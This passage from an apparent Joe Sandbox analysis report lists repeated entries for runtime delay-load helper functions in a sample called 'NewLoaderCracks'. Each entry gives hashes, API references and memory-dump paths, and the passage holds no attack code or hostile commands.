Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9baeafdec5697f46f783c462b89251ccb6edbacbd1fb85bd35a1a32d27a73b42
Instruction ID: 14a6d749fe3349cc3e46484ed8f73d6b3e05223e10255028bfa2b5adb7d1eff2
Opcode Fuzzy Hash: 9baeafdec5697f46f783c462b89251ccb6edbacbd1fb85bd35a1a32d27a73b42
Instruction Fuzzy Hash: 46B0129726C102AD31286208BCABF3F0E6CF8C1B53330C41BB80DD00C0D4405C0C5931

Function 0055D942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 17a7d26da32d3f225e3ca261f0acb139dd4615d9ca2dace9f1002396ac5a50f6
Instruction ID: cadbeb0dc89c9513c126bf8847dd2c2a51c388656b493667bd1587e04f2d5379
Opcode Fuzzy Hash: 17a7d26da32d3f225e3ca261f0acb139dd4615d9ca2dace9f1002396ac5a50f6
Instruction Fuzzy Hash: D5B092A2268002AD31286208696AA3A0AA8E8C1B52720842BB809D0080D44058095931

Function 0055D910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 377c59f647a82b3a9674d07e2a3998b382605cf03b254ce83755ad1c76e0bfc9
Instruction ID: 4c81ffb15da60821adfb835f47ef024908c712953a05e301674f1e4c5da3c04b
Opcode Fuzzy Hash: 377c59f647a82b3a9674d07e2a3998b382605cf03b254ce83755ad1c76e0bfc9
Instruction Fuzzy Hash: 0CB012A766D102AD31A863087C6BF3A0E6EF8C1B53730851BB80DD00C0D4405C4C5831

Function 0055D906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b5074ea2b37f6c97e3a13d27621ee2ca95df331334f388ddadb91c902e0585e1
Instruction ID: 2597ef5199c8c735e12d9043482a4ea88d2358602679064337050fd513cf6448
Opcode Fuzzy Hash: b5074ea2b37f6c97e3a13d27621ee2ca95df331334f388ddadb91c902e0585e1
Instruction Fuzzy Hash: 76B0129366D002AD316862087C6BF3A0E6EF8C2B53730C41BBC0DD00C0D4405C0D6831

Function 0055D924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5abf09dae56f2bcf81bce5510d8abd1579e40ae49e1a1f39cbd10cdc0ce30e46
Instruction ID: f3cb6c5336c314aae34b6eb65d9c6033334abbba28bbe8099c93f1d020d37ce6
Opcode Fuzzy Hash: 5abf09dae56f2bcf81bce5510d8abd1579e40ae49e1a1f39cbd10cdc0ce30e46
Instruction Fuzzy Hash: 19B0129367D002AD316862087C6BF3A0EAEFCC1B53730841BB80DD00C0D4405C0C5831

Function 0055D92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 97f403cd0111426a416c4d77ad634985d5a13b6fa487f08e04514b648bffbbb6
Instruction ID: 039e6dcd228f71c8c580b0bc54e3fbe8c5b39b985a878ac3830b283187464651
Opcode Fuzzy Hash: 97f403cd0111426a416c4d77ad634985d5a13b6fa487f08e04514b648bffbbb6
Instruction Fuzzy Hash: 32B0129326C002AD312862187C6BF3A0EACF8C2B53330C42BBD0DD00C0D5405C0D5D31

Function 0055E1F9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055E20B

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d98cbfade1422822944a721477113e217719fd7ff3b137b2f75ebad70eadeceb
Instruction ID: b326948568eaae672989707ad5c40a36f963aad0c5c987578428628d388b8c18
Opcode Fuzzy Hash: d98cbfade1422822944a721477113e217719fd7ff3b137b2f75ebad70eadeceb
Instruction Fuzzy Hash: 68B012D626E002BD320C91047D2FD3A0F2CF8C0B92730C41BBD0AD408095405D0D5432

Function 0055DAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 887ce051a8139c27651803115995c3c7e6c028850b87e681d656cfdd324564ce
Instruction ID: 56b109f1dd36a4025aa7715dd61dca07caaba5655c072394781c261914bd35b5
Opcode Fuzzy Hash: 887ce051a8139c27651803115995c3c7e6c028850b87e681d656cfdd324564ce
Instruction Fuzzy Hash: ACB092A226C002AD3128A119A82AB3E0AA8F4C4B12320C91BB809C04489444480D5831

Function 0055DACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c70a4dad7c014abcad9b93a20a4a5f9d218ce65a148396c7248601691ea781c
Instruction ID: 69a3fe47372efa57b73227435ec0970fc9144a73d96adf1e34b1890afcf757fe
Opcode Fuzzy Hash: 5c70a4dad7c014abcad9b93a20a4a5f9d218ce65a148396c7248601691ea781c
Instruction Fuzzy Hash: BBB092A226C002AD3128A119A82AA3A0AA8F4C0B12320C51BB809C0048D44848085831

Function 0055DB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ee2c56b16d5a28bc8203bd94f5787c86cb6938223f01b36758a093859e22592
Instruction ID: 32aac86f909f3d49ea5876b052e0de294a5051363d89ab5689b410eb5fc17a4e
Opcode Fuzzy Hash: 8ee2c56b16d5a28bc8203bd94f5787c86cb6938223f01b36758a093859e22592
Instruction Fuzzy Hash: 1CB012A32AC102AD3128B11ABC6FF3F0EACF4C0B12330C51BB80DC0448D4844C0C5931

Function 0055DBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6bf21b56b6f3cf78da61d0fbbd758f79e81e6b0f67d30adbf63e5724ac136169
Instruction ID: abf532e97ac19907c3ef355fd77eacb422dfb841e472cb6fca23dd89c7497b3e
Opcode Fuzzy Hash: 6bf21b56b6f3cf78da61d0fbbd758f79e81e6b0f67d30adbf63e5724ac136169
Instruction Fuzzy Hash: 20B0129736C007AD311851583C2FF3A0F7DF4C0B22330842BBC0EC0640D9404C0C5932

Function 0055DBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e4f90b4c1a1c78d8d8deed63784be3b2f655c3c17437a8069f79e0ef1bc335f3
Instruction ID: be90226049d820e6ea01851cebbab7321c682f19103fa2254cce4487a4657fa5
Opcode Fuzzy Hash: e4f90b4c1a1c78d8d8deed63784be3b2f655c3c17437a8069f79e0ef1bc335f3
Instruction Fuzzy Hash: FDB0129737C10BBD321812043C2FD3B0F3CF4C0B22330852BBC09D014099404C4C5832

Function 0055DBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 66d6dd6665a555eb061b0f75ac215d953d234b8730055093a3a970711132be7b
Instruction ID: 6bb3696920fb57da0c529d7fc8899b9d118d100d3c4e3998fca1baa631bf77b3
Opcode Fuzzy Hash: 66d6dd6665a555eb061b0f75ac215d953d234b8730055093a3a970711132be7b
Instruction Fuzzy Hash: 5DB09296268007AD31185218292BA3A0E6CF4C0B22320841BBD09C024099404C095932

Function 0055DBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a9a835589c3c94d6b364318d8d1e69ad800a4dba978a5964879643b008a19b4c
Instruction ID: 73967feeaf2e69596e168abed324722c1768fdca5fa430eb3f50f89cfe9becd0
Opcode Fuzzy Hash: a9a835589c3c94d6b364318d8d1e69ad800a4dba978a5964879643b008a19b4c
Instruction Fuzzy Hash: DDB09297268007AD31185208282BA3A0E7CF4C0B22321841BBC09C1240D9404C0C5932

Function 0055DC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DC36

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 171af6837c62a965a900a8f9e4278ca2025a8df8afb9535f7230916ee948519f
Instruction ID: 01cf665afa0b540b55047aabc3ac3275f27f636998a6ab6b44617321b83c52ff
Opcode Fuzzy Hash: 171af6837c62a965a900a8f9e4278ca2025a8df8afb9535f7230916ee948519f
Instruction Fuzzy Hash: 3EB012A726C102AD311C61487C27E3A0E7CF4C6B12330C91BBD0DD1140D5805C0D9931

Function 0055DC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DC36

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 523f02015e56ea80b6943d921f1f1c96e5ea4e010725522de97353492553bec4
Instruction ID: 0fdfa42262c55e082c259642aae04a6f70b4491e841d42541bfa06cc0440f5e4
Opcode Fuzzy Hash: 523f02015e56ea80b6943d921f1f1c96e5ea4e010725522de97353492553bec4
Instruction Fuzzy Hash: 75B012A727C202AD311C61487C27E3A0E7CF4C1B12330891BBD0DD1140D5805C0C9931

Function 0055DC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DC36

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
